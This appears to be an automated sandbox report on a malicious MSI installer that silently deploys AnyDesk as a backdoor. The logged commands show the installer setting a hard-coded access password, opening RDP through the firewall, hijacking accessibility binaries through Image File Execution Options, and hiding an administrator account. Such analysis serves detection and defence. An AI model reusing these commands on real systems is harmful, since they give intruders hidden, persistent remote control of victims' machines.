Source: anydesk.exe, 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1033845137.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmp, AnyDesk.exe, 00000014.00000003.1050069306.00000000006C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/home?status=Do%20you%20know%20%23AnyDesk?%20AnyDesk%20is%20a%20small%20and%20qui
Source: anydesk.exe, 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1033845137.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmp, AnyDesk.exe, 00000014.00000003.1050069306.00000000006C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/$
Source: anydesk.exe, 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1033845137.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmp, AnyDesk.exe, 00000014.00000003.1050069306.00000000006C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.linkedin.com/shareArticle?mini=true&url=https%3A//anydesk.com/&title=Try%20AnyDesk%20Rem
Source: anydesk.exe, 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1033845137.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmp, AnyDesk.exe, 00000014.00000003.1050069306.00000000006C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nayuki.io/page/qr-code-generator-library

Source: unknown

DNS traffic detected: queries for: boot.net.anydesk.com

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe

Code function: 11_2_004013DD CreateFileA,GlobalAlloc,GlobalAlloc,ReadFile,MultiByteToWideChar,MultiByteToWideChar,WSAStartup,socket,connect,send,send,Sleep,recv,shutdown,WSACleanup,

11_2_004013DD

Source: anydesk.exe, 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmp

Binary or memory string: DirectDrawCreateEx

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\78c342.ipi

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\78c341.msi

Jump to behavior

Source: C:\ProgramData\anydesk.exe	Code function: 16_2_01042DFD		16_2_01042DFD
Source: C:\ProgramData\anydesk\AnyDesk.exe	Code function: 20_2_012A2DFD		20_2_012A2DFD

Source: eee52229ee24a34cb61191d27a7b66f1.tmp.9.dr

Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows

Source: C:\Windows\System32\msiexec.exe

Process Stats: CPU usage > 98%

Source: anydesk.exe.11.dr	Static PE information: No import functions for PE file found
Source: AnyDesk.exe.16.dr	Static PE information: No import functions for PE file found

Source: anydesk.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: anydesk.exe.11.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AnyDesk.exe.16.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AnyDesk.exe.16.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: unknown

Driver loaded: C:\Windows\System32\drivers\rdpdr.sys

Source: Joe Sandbox View

Dropped File: C:\ProgramData\anydesk\AnyDesk.exe AF61905129F377F5934B3BBF787E8D2417901858BB028F40F02200E985EE62F6

Source: C:\Windows\SysWOW64\icacls.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\ProgramData\anydesk.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\ProgramData\anydesk.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Windows\SysWOW64\icacls.exe	Memory allocated: 77740000 page execute and read and write

Source: 1.msi	Virustotal: Detection: 48%
Source: 1.msi	ReversingLabs: Detection: 30%

Source: C:\Windows\System32\VSSVC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\MUI\Settings

Jump to behavior

Source: C:\Windows\SysWOW64\icacls.exe	Console Write: ....................@.-..........3B.....(.P.....P........................~......................................................P...............	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Console Write: ....................@.-..........3B.....(.P.....P........................~..............................................v.................-.....	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Console Write: ......................,..........3......(.P.............................3.........................................................'.......'.....
Source: C:\Windows\SysWOW64\icacls.exe	Console Write: ......................,..........3......(.P.............................9...............................................v.................,.....

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\1.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: unknown	Process created: C:\Windows\System32\VSSVC.exe C:\Windows\system32\vssvc.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k swprv
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 6381DE7DB6BAADD41D0E24C26E59EDFC
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 22388C515E15FC158EA4B11229C0F8D9 E Global\MSI0000
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\expand.exe "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe"
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c c:\programdata\anydesk.exe --install C:\ProgramData\AnyDesk --silent
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\anydesk.exe c:\programdata\anydesk.exe --install C:\ProgramData\AnyDesk --silent
Source: unknown	Process created: C:\ProgramData\anydesk\AnyDesk.exe "C:\ProgramData\AnyDesk\AnyDesk.exe" --service
Source: unknown	Process created: C:\ProgramData\anydesk\AnyDesk.exe "C:\ProgramData\AnyDesk\AnyDesk.exe" --control
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c echo 31121985west\|c:\programdata\anydesk\anydesk.exe --set-password
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo 31121985west"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\anydesk\AnyDesk.exe c:\programdata\anydesk\anydesk.exe --set-password
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\ProgramData\anydesk\AnyDesk.exe "c:\programdata\anydesk\anydesk.exe" --get-id
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in protocol=TCP localport=3389 action=allow
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\." /SETINTEGRITYLEVEL (CI)(OI)LOW
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 6381DE7DB6BAADD41D0E24C26E59EDFC	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 22388C515E15FC158EA4B11229C0F8D9 E Global\MSI0000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\." /SETINTEGRITYLEVEL (CI)(OI)HIGH	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\expand.exe "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\." /SETINTEGRITYLEVEL (CI)(OI)LOW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c c:\programdata\anydesk.exe --install C:\ProgramData\AnyDesk --silent	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c echo 31121985west\|c:\programdata\anydesk\anydesk.exe --set-password	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\ProgramData\anydesk\AnyDesk.exe "c:\programdata\anydesk\anydesk.exe" --get-id	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in protocol=TCP localport=3389 action=allow	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\anydesk.exe c:\programdata\anydesk.exe --install C:\ProgramData\AnyDesk --silent	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo 31121985west"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\anydesk\AnyDesk.exe c:\programdata\anydesk\anydesk.exe --set-password	Jump to behavior

Source: C:\Windows\System32\VSSVC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F2C2787D-95AB-40D4-942D-298F5F757874}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe

Code function: 11_2_00401C0B OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,

11_2_00401C0B

Source: C:\ProgramData\anydesk.exe

File created: C:\Users\user\AppData\Roaming\AnyDesk

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\Temp\~DF0154135B388C6B07.TMP

Jump to behavior

Source: classification engine

Classification label: mal100.evad.winMSI@34/28@4/5

Source: C:\Windows\SysWOW64\msiexec.exe

File read: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\msiwrapper.ini

Jump to behavior

Source: C:\ProgramData\anydesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_connect_queue_2556_539387648_mtx
Source: C:\ProgramData\anydesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2856_712703952_0_mtx
Source: C:\ProgramData\anydesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2120_827364153_1_mtx
Source: C:\ProgramData\anydesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2336_604751762_1_mtx
Source: C:\ProgramData\anydesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Local\ad_trace_mtx
Source: C:\ProgramData\anydesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2336_604751762_0_mtx
Source: C:\ProgramData\anydesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2120_827364153_0_mtx
Source: C:\ProgramData\anydesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_2856_712703952_1_mtx
Source: C:\ProgramData\anydesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_707_gsystem_mtx
Source: C:\ProgramData\anydesk\AnyDesk.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_trace_mtx
Source: C:\ProgramData\anydesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Session\1\ad_mailbox_2120_827364153_1_mtx

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe

Code function: 11_2_00401254 CreateDirectoryA,GetModuleHandleA,FindResourceA,LoadResource,SizeofResource,CreateFileA,WriteFile,CloseHandle,WriteFile,

11_2_00401254

Source: C:\Windows\SysWOW64\msiexec.exe

File written: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\msiwrapper.ini

Jump to behavior

Source: C:\ProgramData\anydesk\AnyDesk.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 1.msi

Static file information: File size 4063232 > 1048576

Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dda-64\privacy_feature\privacy_feature.pdb source: anydesk.exe, 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1041519952.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000003.1051455757.00000000010C0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_loader\AnyDesk.pdb source: anydesk.exe, 00000010.00000002.1078177888.0000000001C1A000.00000002.00000001.01000000.00000008.sdmp, AnyDesk.exe, 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm-32\win_dwm\win_dwm.pdb source: anydesk.exe, 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1041519952.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000003.1051455757.00000000010C0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm-64\win_dwm\win_dwm.pdb source: anydesk.exe, 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1041519952.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000003.1051455757.00000000010C0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dda-32\privacy_feature\privacy_feature.pdb source: anydesk.exe, 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1041519952.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000003.1051455757.00000000010C0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb source: anydesk.exe, 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1041519952.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000003.1051455757.00000000010C0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb` source: anydesk.exe, 00000010.00000003.1041519952.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000003.1051455757.00000000010C0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SAS.pdbR source: anydesk.exe, 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1041519952.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000003.1051455757.00000000010C0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: SAS.pdb source: anydesk.exe, 00000010.00000002.1074972510.0000000001AFB000.00000004.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1041519952.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000003.1051455757.00000000010C0000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\ProgramData\anydesk.exe	Unpacked PE file: 16.2.anydesk.exe.1040000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\ProgramData\anydesk\AnyDesk.exe	Unpacked PE file: 20.2.AnyDesk.exe.12a0000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\ProgramData\anydesk\AnyDesk.exe	Unpacked PE file: 21.2.AnyDesk.exe.12a0000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\ProgramData\anydesk\AnyDesk.exe	Unpacked PE file: 25.2.AnyDesk.exe.12a0000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\ProgramData\anydesk\AnyDesk.exe	Unpacked PE file: 26.2.AnyDesk.exe.12a0000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: C:\ProgramData\anydesk.exe	Code function: 16_2_015A9805 push ecx; ret	16_2_015A9818
Source: C:\ProgramData\anydesk\AnyDesk.exe	Code function: 20_2_01809805 push ecx; ret	20_2_01809818
Source: C:\ProgramData\anydesk\AnyDesk.exe	Code function: 20_2_01809805 push ecx; ret	20_2_01809818

Source: C:\ProgramData\anydesk\AnyDesk.exe

Code function: 20_2_01817257 LoadLibraryW,GetProcAddress,GetProcAddress,RtlEncodePointer,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

20_2_01817257

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	File created: C:\programdata\anydesk.exe			Jump to dropped file
Source: C:\ProgramData\anydesk.exe	File created: C:\ProgramData\anydesk\AnyDesk.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	File created: C:\programdata\anydesk.exe	Jump to dropped file
Source: C:\ProgramData\anydesk.exe	File created: C:\ProgramData\anydesk\AnyDesk.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5BE8.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\$dpx$.tmp\eee52229ee24a34cb61191d27a7b66f1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB0A0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBA33.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIED31.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5BE8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB0A0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIBA33.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIED31.tmp	Jump to dropped file

Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Windows\Logs\DPX\setupact.log			Jump to behavior
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\Windows\Logs\DPX\setuperr.log			Jump to behavior

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe Debugger

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe Debugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe Debugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HelpPane.exe Debugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe Debugger	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\SystemRestore

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\VSS\Diag\VssapiPublisher

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides user accounts

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Administartor

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\ProgramData\anydesk.exe

File opened: C:\ProgramData\AnyDesk\AnyDesk.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\." /SETINTEGRITYLEVEL (CI)(OI)HIGH

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
